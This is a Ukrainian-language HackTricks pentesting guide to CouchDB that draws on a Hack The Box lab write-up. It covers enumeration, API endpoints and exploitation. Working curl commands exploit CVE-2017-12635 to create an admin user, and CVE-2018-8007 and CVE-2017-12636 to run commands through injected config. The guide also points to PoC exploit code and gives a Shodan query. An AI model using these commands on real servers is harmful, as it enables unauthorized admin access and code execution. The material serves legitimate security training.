# 5984,6984 - Pentesting CouchDB {{#include ../banners/hacktricks-training.md}} ## **Основна інформація** **CouchDB** є універсальною та потужною **документоорієнтованою базою даних**, яка організовує дані за допомогою структури **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або мапи**, що забезпечує гнучкість у зберіганні та отриманні даних. Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер ревізії** (`_rev`). Цей номер ревізії дозволяє ефективно **відстежувати та управляти змінами**, полегшуючи отримання та синхронізацію даних у базі даних. **Порт за замовчуванням:** 5984(http), 6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **Автоматичне перерахування** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## Ручна енумерація ### Банер ``` curl http://IP:5984/ ``` Це надсилає GET-запит до встановленої інстанції CouchDB. Відповідь повинна виглядати приблизно так: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] > Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на зразок: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки. ### Info Enumeration Це кінцеві точки, до яких ви можете отримати доступ за допомогою **GET** запиту та витягти деяку цікаву інформацію. Ви можете знайти [**більше кінцевих точок та більш детальні описи в документації couchdb**](https://docs.couchdb.org/en/latest/api/index.html). - **`/_active_tasks`** Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу. - **`/_all_dbs`** Повертає список усіх баз даних у екземплярі CouchDB. - \*\*`/_cluster_setup`\*\* Повертає статус вузла або кластера, відповідно до майстра налаштування кластера. - **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних `_global_changes` є обов'язковим для використання цієї кінцевої точки. - **`/_membership`** Відображає вузли, які є частиною кластера як `cluster_nodes`. Поле `all_nodes` відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера. - **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей. - **`/_scheduler/docs`** Список станів документів реплікації. Включає інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** Кінцева точка `/_node/{node-name}` може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до `/_node/_local`, щоб отримати цю інформацію. - **`/_node/{node-name}/_stats`** Ресурс `_stats` повертає об'єкт JSON, що містить статистику для запущеного сервера. Літеральний рядок `_local` служить псевдонімом для імені локального вузла, тому для всіх URL статистики `{node-name}` може бути замінено на `_local`, щоб взаємодіяти зі статистикою локального вузла. - **`/_node/{node-name}/_system`** Ресурс \_system повертає об'єкт JSON, що містить різну статистику на рівні системи для запущеного сервера\_.\_ Ви можете використовувати \_\_`_local` як {node-name}, щоб отримати інформацію про поточний вузол. - **`/_node/{node-name}/_restart`** - **`/_up`** Підтверджує, що сервер працює, запущений і готовий відповідати на запити. Якщо [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) є `true` або `nolb`, кінцева точка поверне відповідь 404. - \*\*`/_uuids`\*\* Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB. - \*\*`/_reshard`\*\* Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом повторного розподілу на кластері. Більш цікаву інформацію можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Database List** ``` curl -X GET http://IP:5984/_all_dbs ``` Якщо цей запит **відповідає з 401 неавторизованим**, тоді вам потрібні **дійсні облікові дані** для доступу до бази даних: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Щоб знайти дійсні облікові дані, ви можете **спробувати** [**зламати сервіс**](../generic-hacking/brute-force.md#couchdb). Це **приклад** відповіді couchdb, коли у вас є **достатні привілеї** для переліку баз даних (Це просто список баз даних): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Інформація про базу даних Ви можете отримати деяку інформацію про базу даних (наприклад, кількість файлів та їх розміри), отримавши доступ до назви бази даних: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **Список документів** Перерахуйте кожен запис у базі даних ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **Прочитати документ** Прочитайте вміст документа всередині бази даних: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB Привілейоване Підвищення [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Завдяки відмінностям між парсерами JSON Erlang та JavaScript ви можете **створити адміністратора** з обліковими даними `hacktricks:hacktricks` за допомогою наступного запиту: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**Більше інформації про цю вразливість тут**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### **Огляд безпеки Erlang Cookie** Приклад [з тут](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластера. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами. Особливу увагу приділено важливому advisory безпеки щодо порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як захист. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для віддаленого виконання коду (RCE) в контексті систем Erlang, доступний спеціальний розділ для подальшого читання. Він детально описує методології використання cookie Erlang несанкціонованими способами для досягнення контролю над системами. Ви можете [**дослідити детальний посібник з зловживання cookie Erlang для RCE тут**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). ### **Експлуатація CVE-2018-8007 через модифікацію local.ini** Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Недавно розкрита вразливість CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що експлуатація вимагає прав на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Детальні кроки та приклади коду наведені нижче, демонструючи процес. Спочатку середовище готується, забезпечуючи, щоб файл `local.ini` був записуваним, що перевіряється шляхом переліку прав: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` Щоб експлуатувати вразливість, виконується команда curl, націлена на конфігурацію `cors/origins` у `local.ini`. Це інжектує новий походження разом з додатковими командами в секцію `[os_daemons]`, з метою виконання довільного коду: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` Подальша перевірка показує ін'єковану конфігурацію в `local.ini`, порівнюючи її з резервною копією, щоб підкреслити зміни: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` Спочатку очікуваний файл (`/tmp/0xdf`) не існує, що вказує на те, що ін'єкована команда ще не була виконана. Подальше розслідування виявляє, що процеси, пов'язані з CouchDB, працюють, включаючи один, який потенційно може виконати ін'єковану команду: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` Завершуючи виявлений процес CouchDB і дозволяючи системі автоматично перезапустити його, виконується ін'єкована команда, що підтверджується наявністю раніше відсутнього файлу: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` Це дослідження підтверджує життєздатність експлуатації CVE-2018-8007 за певних умов, зокрема вимогу наявності прав на запис до файлу `local.ini`. Наведені приклади коду та процедурні кроки пропонують чіткий посібник для відтворення експлуатації в контрольованому середовищі. Для отримання додаткової інформації про CVE-2018-8007 зверніться до рекомендацій mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). ### **Дослідження CVE-2017-12636 з правами на запис у local.ini** Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Вразливість, відома як CVE-2017-12636, була досліджена, що дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть перешкоджати її експлуатації. Незважаючи на численні посилання на Proof of Concept (POC), доступні в Інтернеті, необхідні коригування для експлуатації вразливості на версії CouchDB 2, яка відрізняється від зазвичай націленої версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху серверів запитів: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` Щоб підтримувати версію CouchDB 2.0, використовується новий шлях: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Подальше розслідування виявило проблеми з правами доступу до файлу `local.ini`, який не можна було змінити. Змінивши права доступу до файлу з правами root або homer, стало можливим продовжити: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` Подальші спроби додати сервер запитів були успішними, про що свідчить відсутність повідомлень про помилки у відповіді. Успішна модифікація файлу `local.ini` була підтверджена через порівняння файлів: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` [**резюме**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) з альтернативним payload надає додаткову інформацію про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають: - [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Exploit Database entry](https://www.exploit-db.com/exploits/44913/) ## Shodan - `port:5984 couchdb` ## Посилання - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) {{#include ../banners/hacktricks-training.md}}